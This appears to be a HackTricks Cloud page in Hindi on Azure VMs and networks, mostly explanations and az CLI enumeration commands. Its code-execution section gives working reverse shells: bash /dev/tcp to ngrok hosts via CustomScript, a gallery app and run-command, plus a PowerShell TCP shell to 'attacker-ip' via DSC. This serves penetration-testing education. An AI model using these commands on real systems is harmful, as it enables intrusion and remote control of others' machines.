Az - वर्चुअल मशीनें और नेटवर्क
Reading time: 27 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Azure नेटवर्किंग बुनियादी जानकारी
Azure नेटवर्क में विभिन्न संस्थाएँ और इसे कॉन्फ़िगर करने के तरीके शामिल हैं। आप विभिन्न Azure नेटवर्क संस्थाओं के लिए संक्षिप्त विवरण, उदाहरण और गणना कमांड पा सकते हैं:
VMs बुनियादी जानकारी
Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं। ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
सुरक्षा कॉन्फ़िगरेशन
- उपलब्धता क्षेत्र: उपलब्धता क्षेत्र विशिष्ट Azure क्षेत्र के भीतर डेटा केंद्रों के अलग-अलग समूह हैं जो स्थानीय आउटेज या आपदाओं से प्रभावित होने के जोखिम को कम करने के लिए भौतिक रूप से अलग हैं।
- सुरक्षा प्रकार:
- मानक सुरक्षा: यह डिफ़ॉल्ट सुरक्षा प्रकार है जिसे किसी विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं होती है।
- विश्वसनीय लॉन्च: यह सुरक्षा प्रकार बूट किट और कर्नेल-स्तरीय मैलवेयर के खिलाफ सुरक्षा को बढ़ाता है, जिसमें सुरक्षित बूट और वर्चुअल ट्रस्टेड प्लेटफ़ॉर्म मॉड्यूल (vTPM) का उपयोग किया जाता है।
- गोपनीय VMs: एक विश्वसनीय लॉन्च के शीर्ष पर, यह VM, हाइपरवाइज़र और होस्ट प्रबंधन के बीच हार्डवेयर-आधारित अलगाव प्रदान करता है, डिस्क एन्क्रिप्शन में सुधार करता है और अधिक।
- प्रमाणीकरण: डिफ़ॉल्ट रूप से एक नया SSH कुंजी उत्पन्न की जाती है, हालांकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम azureuser है। एक पासवर्ड का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है।
- VM डिस्क एन्क्रिप्शन: डिस्क डिफ़ॉल्ट रूप से एक प्लेटफ़ॉर्म प्रबंधित कुंजी का उपयोग करके आराम में एन्क्रिप्ट की जाती है।
- होस्ट पर एन्क्रिप्शन सक्षम करना भी संभव है, जहां डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, जिससे होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित होता है (docs).
- NIC नेटवर्क सुरक्षा समूह:
- कोई नहीं: मूल रूप से हर पोर्ट खोलता है
- बुनियादी: HTTP (80), HTTPS (443), SSH (22), RDP (3389) इनबाउंड पोर्ट को आसानी से खोलने की अनुमति देता है
- उन्नत: एक सुरक्षा समूह का चयन करें
- बैकअप: मानक बैकअप (एक दिन में एक) और उन्नत (प्रतिदिन कई) सक्षम करना संभव है
- पैच समन्वय विकल्प: यह चयनित नीति के अनुसार VMs में स्वचालित रूप से पैच लागू करने की अनुमति देता है, जैसा कि docs में वर्णित है।
- अलर्ट: जब VM में कुछ होता है तो ईमेल या मोबाइल ऐप द्वारा स्वचालित रूप से अलर्ट प्राप्त करना संभव है। डिफ़ॉल्ट नियम:
- CPU प्रतिशत 80% से अधिक है
- उपलब्ध मेमोरी बाइट्स 1GB से कम है
- डेटा डिस्क IOPS उपभोग प्रतिशत 95% से अधिक है
- OS IOPS उपभोग प्रतिशत 95% से अधिक है
- नेटवर्क कुल 500GB से अधिक है
- नेटवर्क आउट कुल 200GB से अधिक है
- VmAvailabilityMetric 1 से कम है
- स्वास्थ्य मॉनिटर: डिफ़ॉल्ट रूप से पोर्ट 80 में HTTP प्रोटोकॉल की जांच करता है
- लॉक्स: यह एक VM को लॉक करने की अनुमति देता है ताकि इसे केवल पढ़ा जा सके (ReadOnly लॉक) या इसे पढ़ा और अपडेट किया जा सके लेकिन हटाया नहीं जा सके (CanNotDelete लॉक)।
- अधिकांश VM संबंधित संसाधन लॉक्स का समर्थन करते हैं जैसे डिस्क, स्नैपशॉट...
- लॉक्स को संसाधन समूह और सदस्यता स्तरों पर भी लागू किया जा सकता है
डिस्क और स्नैपशॉट
- 2 या अधिक VMs से डिस्क को संलग्न करने के लिए सक्षम करना संभव है
- डिफ़ॉल्ट रूप से हर डिस्क एन्क्रिप्टेड होती है एक प्लेटफ़ॉर्म कुंजी के साथ।
- स्नैपशॉट में भी यही
- डिफ़ॉल्ट रूप से यह सभी नेटवर्क से डिस्क साझा करने की अनुमति देता है, लेकिन इसे केवल कुछ निजी पहुँच तक सीमित किया जा सकता है या सार्वजनिक और निजी पहुँच को पूरी तरह से निष्क्रिय किया जा सकता है।
- स्नैपशॉट में भी यही
- डिस्क को निर्यात करने के लिए एक SAS URI (अधिकतम 60 दिनों के लिए) उत्पन्न करना संभव है, जिसे प्रमाणीकरण की आवश्यकता हो सकती है या नहीं
- स्नैपशॉट में भी यही
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
चित्र, गैलरी चित्र और पुनर्स्थापना बिंदु
एक VM छवि एक टेम्पलेट है जिसमें ऑपरेटिंग सिस्टम, एप्लिकेशन सेटिंग्स और फ़ाइल सिस्टम शामिल होते हैं जो एक नया वर्चुअल मशीन (VM) बनाने के लिए आवश्यक होते हैं। एक छवि और एक डिस्क स्नैपशॉट के बीच का अंतर यह है कि एक डिस्क स्नैपशॉट एक पढ़ने के लिए केवल, समय-निर्धारित प्रति होती है जो एकल प्रबंधित डिस्क की होती है, जिसका उपयोग मुख्य रूप से बैकअप या समस्या निवारण के लिए किया जाता है, जबकि एक छवि कई डिस्क शामिल कर सकती है और इसे नए VMs बनाने के लिए टेम्पलेट के रूप में सेवा देने के लिए डिज़ाइन किया गया है।
छवियों का प्रबंधन Azure के चित्र अनुभाग में या Azure कंप्यूट गैलरी के अंदर किया जा सकता है, जो संस्करण उत्पन्न करने और छवि को क्रॉस-टेनेंट साझा करने या यहां तक कि इसे सार्वजनिक बनाने की अनुमति देता है।
एक पुनर्स्थापना बिंदु VM कॉन्फ़िगरेशन और समय-निर्धारित एप्लिकेशन-संगत स्नैपशॉट्स को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय पर उस VM को पुनर्स्थापित करने में सक्षम होना है।
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
दस्तावेज़ों से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी कार्यभार को प्राथमिक साइट से द्वितीयक स्थान पर चलने वाले भौतिक और आभासी मशीनों (VMs) पर प्रतिलिपि करती है। जब आपके प्राथमिक साइट पर आउटेज होता है, तो आप द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुँचते हैं। जब प्राथमिक स्थान फिर से चलने लगता है, तो आप वापस स्विच कर सकते हैं।
Azure Bastion
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध रिमोट डेस्कटॉप प्रोटोकॉल (RDP) और सिक्योर शेल (SSH) एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को हटाकर।
Bastion एक उपनेट को AzureBastionSubnet
के रूप में तैनात करता है जिसमें /26
नेटमास्क होता है जिस VNet पर इसे काम करने की आवश्यकता होती है। फिर, यह ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने की अनुमति देता है RDP
और SSH
का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक जंप होस्ट के रूप में भी काम कर सकता है।
आपकी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
Azure Instance Metadata Service (IMDS) चल रहे वर्चुअल मशीन इंस्टेंस के बारे में जानकारी प्रदान करता है ताकि उनके प्रबंधन और कॉन्फ़िगरेशन में सहायता मिल सके। यह SKU, स्टोरेज, नेटवर्क कॉन्फ़िगरेशन और आगामी रखरखाव घटनाओं के बारे में जानकारी जैसे विवरण प्रदान करता है REST API के माध्यम से जो गैर-रूटेबल IP पते 169.254.169.254 पर उपलब्ध है, जो केवल VM के भीतर से सुलभ है। VM और IMDS के बीच संचार होस्ट के भीतर रहता है, जिससे सुरक्षित पहुंच सुनिश्चित होती है। IMDS को क्वेरी करते समय, VM के भीतर HTTP क्लाइंट को उचित संचार सुनिश्चित करने के लिए वेब प्रॉक्सी को बायपास करना चाहिए।
इसके अलावा, मेटाडेटा एंडपॉइंट से संपर्क करने के लिए, HTTP अनुरोध में Metadata: true
हेडर होना चाहिए और X-Forwarded-For
हेडर नहीं होना चाहिए।
जाने कि इसे कैसे एन्यूमरेट करें:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
VMs में कोड निष्पादन
VM एक्सटेंशन
Azure VM एक्सटेंशन छोटे एप्लिकेशन होते हैं जो Azure वर्चुअल मशीनों (VMs) पर पोस्ट-डिप्लॉयमेंट कॉन्फ़िगरेशन और स्वचालन कार्य प्रदान करते हैं।
यह VMs के अंदर मनमाना कोड निष्पादित करने की अनुमति देगा।
आवश्यक अनुमति है Microsoft.Compute/virtualMachines/extensions/write
।
सभी उपलब्ध एक्सटेंशनों की सूची बनाना संभव है:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
यह संभव है कि कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाएं:
- एक रिवर्स शेल निष्पादित करें
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- इंटरनेट पर स्थित एक स्क्रिप्ट को निष्पादित करें
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
प्रासंगिक VM एक्सटेंशन
आवश्यक अनुमति अभी भी Microsoft.Compute/virtualMachines/extensions/write
है।
VMAccess एक्सटेंशन
यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं के पासवर्ड को संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है।
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
यह एक VM एक्सटेंशन है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से मनमाने कमांड निष्पादित करने के लिए किया जा सकता है:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
हाइब्रिड रनबुक वर्कर
यह एक VM एक्सटेंशन है जो एक ऑटोमेशन अकाउंट से VMs में रनबुक्स को निष्पादित करने की अनुमति देगा। अधिक जानकारी के लिए ऑटोमेशन अकाउंट्स सेवा देखें।
VM अनुप्रयोग
ये सभी अनुप्रयोग डेटा और इंस्टॉल और अनइंस्टॉल स्क्रिप्ट के साथ पैकेज हैं जिन्हें VMs में अनुप्रयोग को आसानी से जोड़ने और हटाने के लिए उपयोग किया जा सकता है।
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
ये वे पथ हैं जहाँ एप्लिकेशन फाइल सिस्टम के अंदर डाउनलोड होते हैं:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
- Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
नए एप्लिकेशन स्थापित करने के तरीके की जांच करें https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
caution
यह संभव है कि व्यक्तिगत ऐप्स और गैलरियों को अन्य सब्सक्रिप्शन या टेनेंट्स के साथ साझा किया जाए। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट्स पर पिवट करने की अनुमति दे सकता है।
लेकिन vm ऐप्स के लिए "मार्केटप्लेस" नहीं है जैसे कि एक्सटेंशन के लिए है।
आवश्यक अनुमतियाँ हैं:
Microsoft.Compute/galleries/applications/write
Microsoft.Compute/galleries/applications/versions/write
Microsoft.Compute/virtualMachines/write
Microsoft.Network/networkInterfaces/join/action
Microsoft.Compute/disks/write
मनमाने कमांड निष्पादित करने के लिए शोषण का उदाहरण:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
उपयोगकर्ता डेटा
यह स्थायी डेटा है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से पुनः प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि यदि आप यहां एक स्क्रिप्ट रखते हैं, तो यह डिफ़ॉल्ट रूप से निष्पादित नहीं होती।
कस्टम डेटा
यह VM को कुछ डेटा पास करना संभव है जो अपेक्षित पथों में संग्रहीत किया जाएगा:
- Windows में कस्टम डेटा
%SYSTEMDRIVE%\AzureData\CustomData.bin
में बाइनरी फ़ाइल के रूप में रखा जाता है और इसे संसाधित नहीं किया जाता है। - Linux में इसे
/var/lib/waagent/ovf-env.xml
में संग्रहीत किया गया था और अब इसे/var/lib/waagent/CustomData/ovf-env.xml
में संग्रहीत किया गया है। - Linux एजेंट: यह डिफ़ॉल्ट रूप से कस्टम डेटा को संसाधित नहीं करता है, डेटा सक्षम करने के लिए एक कस्टम छवि की आवश्यकता होती है।
- cloud-init: डिफ़ॉल्ट रूप से यह कस्टम डेटा को संसाधित करता है और यह डेटा कई प्रारूपों में हो सकता है। यह कस्टम डेटा में केवल स्क्रिप्ट भेजकर आसानी से एक स्क्रिप्ट निष्पादित कर सकता है।
- मैंने कोशिश की कि दोनों Ubuntu और Debian यहां रखी गई स्क्रिप्ट को निष्पादित करें।
- इसे निष्पादित करने के लिए उपयोगकर्ता डेटा सक्षम करना भी आवश्यक नहीं है।
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
कमांड चलाएँ
यह Azure द्वारा VMs में मनमाने कमांड निष्पादित करने के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है Microsoft.Compute/virtualMachines/runCommand/action
।
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
विशेषाधिकार वृद्धि
Az - Virtual Machines & Network Privesc
बिना प्रमाणीकरण का अभिगम
पोस्ट शोषण
Az - VMs & Network Post Exploitation
स्थिरता
संदर्भ
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।